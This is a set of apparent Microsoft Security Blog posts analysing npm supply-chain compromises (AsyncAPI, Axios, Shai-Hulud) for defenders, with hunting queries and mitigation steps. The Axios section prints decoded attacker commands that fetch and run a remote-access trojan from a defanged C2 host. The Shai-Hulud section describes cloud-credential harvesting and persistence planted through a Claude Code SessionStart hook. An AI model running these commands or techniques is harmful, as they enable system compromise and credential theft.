// Query 3: presence of a poisoned tarball in caches
DeviceFileEvents
| where Timestamp > ago(30d)
| where SHA256 in (
    "d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7",
    "9b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b",
    "bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4",
    "082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab",
    "34014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1")
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName

Suspicious Node.js execution

DeviceProcessEvents
| where Timestamp > ago(3d) 
| where FileName in~ ("node", "node.exe")
| where ProcessCommandLine has "node.exe -e \"const _0x5af5e1" or ProcessCommandLine has "node -e \"const _0x5af5e1"
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessFolderPath

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate investigation and response tasks related to this threat. Useful promptbooks for this activity include Incident investigation, Microsoft User analysis, Threat actor profile, Threat Intelligence 360 report based on MDTI intelligence, and Vulnerability impact assessment. Some promptbooks require access to Microsoft Defender XDR, Microsoft Sentinel, or related Microsoft security plugins.

For this campaign, Security Copilot can help analysts summarize affected devices, pivot from the package hashes to endpoint evidence, identify hosts that communicated with the IPFS path or C2 infrastructure, and build remediation actions such as cache purge, credential rotation, and containment sequencing for impacted developer systems and build runners.

Threat intelligence reports

Microsoft customers can use Microsoft Defender XDR Threat analytics and related Microsoft threat intelligence reporting to stay current on the malicious activity, indicators, detection coverage, and recommended response actions associated with this compromise. These reports provide investigation context, protection guidance, and updated intelligence that security teams can use to prevent, mitigate, or respond to related activity in customer environments.

As with other active supply-chain investigations, defenders should monitor for updated intelligence on package status, additional affected versions, infrastructure changes, and newly surfaced post-compromise tradecraft. Microsoft will continue to incorporate validated indicators and detections into Microsoft security products as the investigation evolves.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.

The post Unpacking the AsyncAPI npm supply chain compromise and import-time payload delivery appeared first on Microsoft Security Blog.

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

The Shai‑Hulud 2.0 supply chain attack represents one of the most significant cloud-native ecosystem compromises observed recently. Attackers maliciously modified hundreds of publicly available packages, targeting developer environments, continuous integration and continuous delivery (CI/CD) pipelines, and cloud-connected workloads to harvest credentials and configuration secrets

Update May 13, 2026: Microsoft Defender has protection coverage for the recent Mini Shai-Hulud activity resurgence.

The Shai‑Hulud 2.0 campaign builds on earlier supply chain compromises but introduces more automation, faster propagation, and a broader target set:

• Malicious code executes during the preinstall phase of infected npm packages, allowing execution before tests or security checks.
• Attackers have compromised maintainer accounts from widely used projects (for example, Zapier, PostHog, Postman).
• Stolen credentials are exfiltrated to public attacker-controlled repositories, which could lead to further compromise.

This campaign illustrates the risks inherent to modern supply chains:

• Traditional network defenses are insufficient against attacks embedded in trusted package workflows.
• Compromised credentials enable attackers to escalate privileges and move laterally across cloud workloads.

In defending against threats like Shai-Hulud 2.0, organizations benefit significantly from the layered protection from Microsoft Defender, which provides security coverage from code, to posture management, to runtime. This defense-in-depth approach is especially valuable when facing supply chain-driven attacks that might introduce malicious dependencies that evade traditional vulnerability assessment tools. In these scenarios, the ability to correlate telemetry across data planes, such as endpoint or container behavior and runtime anomalies, becomes essential. Leveraging these insights enables security teams to rapidly identify compromised devices, flag suspicious packages, and contain the threat before it propagates further.

This blog provides a high-level overview of Shai‑Hulud 2.0, the attack mechanisms, potential attack propagation paths, customized hunting queries, and the actions Microsoft Defender is taking to enhance detection, attack-path analysis, credential scanning, and supply chain hardening.

Analyzing the Shai-Hulud 2.0 attack

Multiple npm packages were compromised when threat actors added a preinstall script named set_bun.js in the package.json of the affected packages. The setup_bun.js script scoped the environment for an existing Bun runtime binary; if not found, the script installed it. Bun can be used in the same way Node.js is used.

The Bun runtime executed the bundled malicious script bun_environment.js. This script downloaded and installed a GitHub Actions Runner archive. It then configured a new GitHub repository and a runner agent called SHA1Hulud. Additional files were extracted from the archive including, TruffleHog and Runner.Listener executables. TruffleHog was used to query the system for stored credentials and retrieve stored cloud credentials.

Microsoft Defender for Containers promptly notified our customers when the campaign began through the alert Suspicious usage of the shred command on hidden files detected. This alert identified the data destruction activity carried out as part of the campaign. Additionally, we introduced a dedicated alert to identify this campaign as Sha1-Hulud Campaign Detected – Possible command injection to exfiltrate credentials.

In some cases, commits to the newly created repositories were under the name “Linus Torvalds”, the creator of the Linux kernel and the original author of Git.  The use of fake personas highlights the importance of commit signature verification, which adds a simple and reliable check to confirm who actually created a commit and reduces the chance of impersonation.

Mini Shai-Hulud Expanded Campaign (May 2026)

On May 11, 2026, Microsoft Security Research identified a significant resurgence of the Shai-Hulud supply chain campaign tracked as Mini Shai-Hulud, compromising 170+ npm packages and 2 PyPI packages across 404 malicious versions. This represents a major escalation in both scale and sophistication from the original Shai-Hulud 2.0 campaign documented in December 2025 and marks the first supply chain attack to simultaneously span both the npm and PyPI registries in a single coordinated operation. The updated attack chain is as follows:

node (npm install) → node (npm cli):  The developer runs a routine npm install. Node.js spawns the npm CLI to resolve and install dependencies. This is the entry point.

sh -c “bun run FilePII_81026b…17773.js && exit 1“: When npm resolves the malicious @tanstack/setup optional dependency, it clones the attacker’s fork commit from GitHub into .npm/_cacache/tmp/git-clone*/. The prepared script fires, spawning a shell that:

•            bun run <obfuscated_filename>.js – executes the 2.3 MB triple-obfuscated credential stealer using the Bun JS runtime

•            && exit 1 – deliberately exits with error code 1 so npm treats the optional dependency as a “failed install” and moves on silently. The developer sees no error. But the payload has already executed in the background.

bun.exe (runs payload from .npm/_cacache/tmp/git-clone*/…) Bun runtime (downloaded or bundled) executes the payload from npm’s internal cache directory. This is where the triple deobfuscation happens (obfuscator.io string table → PBKDF2 cipher → AES-256-GCM decryption) and the credential harvester modules activate.

zsh (claude shell-snapshot commands) The payload spawns a zsh shell to execute Claude Code shell-snapshot commands – this is the persistence and secondary spread vector. It’s writing the .claude/settings.json SessionStart hook so that every future Claude Code session on this machine re-executes the payload. This is also where it probes for Claude’s own authentication context.

aws sso / credential enumeration The harvester module kicks in – it’s actively enumerating AWS SSO credentials, probing:

•            AWS IMDS v2 (169.254.169.254) for instance role credentials

•            ECS metadata (169.254.170.2) for container credentials

•            Local ~/.aws/credentials, ~/.aws/config for static keys

•            Active SSO session tokens

This is just one of multiple file paths being scanned (Azure, GCP, K8s, Vault, SSH, npm tokens, crypto wallets all happen in parallel).

file drops in .claude/ directories The payload writes its persistence files:

•            .claude/settings.json – SessionStart hook

•            .claude/setup.mjs – bootstrap script

•            .claude/router_runtime.js – full 2.3 MB self-copy of the payload

These get committed into the victim’s repos via GitHub GraphQL, creating the secondary developer infection vector.

Microsoft Defender provides protection for this most recent mini Shai Hulud activity.

Mitigation and protection guidance

Microsoft Defender recommends the following guidance for customers to improve their environments’ security posture against Shai-Hulud:

• Review the Key Vault assets on the critical asset management page and investigate any relevant logs for unauthorized access.
• Rapidly rotate and revoke exposed credentials.
• Isolate affected CI/CD agents or workspaces.
• Prioritize high-risk attack paths to reduce further exposure.
• Remove unnecessary roles and permissions granted to identities assigned to CI/CD pipelines; specifically review access to key vaults.
• For Defender for Cloud customers, read on the following recommendation:
  • As previously indicated, the attack was initiated during the preinstall phase of compromised npm packages. Consequently, cloud compute workloads that rely on these affected packages present a lower risk compared to those involved in the build phase. Nevertheless, it is advisable to refrain from using such packages within cloud workloads. Defender for Cloud conducts thorough scans of workloads and prompts users to upgrade or replace any compromised packages if vulnerable versions are detected. Additionally, it references the code repository from which the image was generated to facilitate effective investigation.
  • To receive code repository mapping, make sure to connect your DevOps environments to Defender for Cloud. Refer to the following documentation for guidance on:
    • Connecting Azure DevOps to Defender for Cloud
    • Connecting GitHub environment to Defender for Cloud
    • Connecting GitLab environment to Defender for Cloud
    • Deploying Defender CLI for container image scan

• For npm maintainers:
  • Use npm trusted publishing instead of tokens. Strengthen publishing settings on accounts, organizations, and packages to require two-factor authentication (2FA) for any writes and publishing actions.
  • When configuring two-factor authentication, use WebAuthn instead of a time-based, one-time password (TOTP).
• To combat this evolving threat, we are also introducing a new functionality in Microsoft Defender for Cloud that identifies Shai-Hulud 2.0 packages by leveraging agentless code scanning. This capability works by creating a Software Bill of Materials (SBOM) in the background and performing a lookup to identify if any package in the filesystem or source code repository is a malicious package that could be a component of the Shai-Hulud attack. By decoupling security analysis from runtime execution, this approach ensures that deep dependency threats are detected without impacting the performance of workloads or pipelines.
  • If malicious packages are found, recommendations in Microsoft Defender for Cloud provide immediate visibility into compromised assets as shown below. This ensures that security teams can act quickly to freeze dependencies and rotate credentials before further propagation occurs.
  • The next recommended step for customers is to start scanning repositories and protecting supply chains. Learn how to set up connectors.

• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Turn on attack surface reduction rules, particularly on blocking executable files from running unless they meet a prevalence, age or trusted list criterion and blocking execution of potentially obfuscated scripts.

For more information on GitHub’s plans on securing the npm supply chain and what npm maintainers can take today, Defender also recommends checking the Github plan for a more secure npm supply chain.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics:

• Activity Profile: From vulnerable workflows to self-replicating malware: Technical analysis of npm supply chain security incidents

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Attack path analysis

Attack path analysis shows paths from exposed entry points to targets. Security teams can use attack path analysis to surface cross-domain exposure risks, for example how an attacker could move from externally reachable resources to sensitive systems to escalate privileges and maintain persistence. While supply chain attacks like those used by Shai-Hulud 2.0 can originate without direct exposure, customers can leverage advanced hunting to query the Exposure Graph for these broader relationships.

For example, once a virtual or physical machine is determined to be compromised, key vaults that are directly accessible using credentials obtained from the compromised system can also be identified. The relevant access paths can be extracted using queries, as detailed in the hunting section below. Any key vault found along these paths should be investigated according to the mitigation guide.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their networks:

Attempts of malicious JS execution through node

DeviceProcessEvents 
| where FileName has "node" and ProcessCommandLine has_any ("setup_bun.js", "bun_environment.js")

Suspicious process launched by malicious JavaScript

DeviceProcessEvents | where InitiatingProcessFileName in~ ("node", "node.exe") and InitiatingProcessCommandLine endswith ".js"
| where (FileName in~ ("bun", "bun.exe") and ProcessCommandLine has ".js")
    or (FileName  in~ ("cmd.exe") and ProcessCommandLine has_any ("where bun", "irm ", "[Environment]::GetEnvironmentVariable('PATH'", "|iex"))
    or (ProcessCommandLine in~ ("sh", "dash", "bash") and ProcessCommandLine has_any ("which bun", ".bashrc && echo $PATH", "https://bun.sh/install"))
| where ProcessCommandLine !contains "bun" and ProcessCommandLine !contains "\\" and ProcessCommandLine !contains "--"

GitHub exfiltration

DeviceProcessEvents | where FileName has_any ("bash","Runner.Listener","cmd.exe") | where ProcessCommandLine has 'SHA1HULUD' and not (ProcessCommandLine has_any('malicious','grep','egrep',"checknpm","sha1hulud-checker-ado","sha1hulud-checker-ado"," sha1hulud-checker-github","sha1hulud-checker","sha1hulud-scanner","go-detector","SHA1HULUD_IMMEDIATE_ACTIONS.md","SHA1HULUD_COMPREHENSIVE_REPORT.md","reddit.com","sha1hulud-scan.sh"))

Paths from compromised machines and repositories to cloud key management services

let T_src2Key = ExposureGraphEdges
| where EdgeLabel == 'contains'
| where SourceNodeCategories has_any ('code_repository', 'virtual_machine' , 'physical_device')
| where TargetNodeCategories has 'secret'
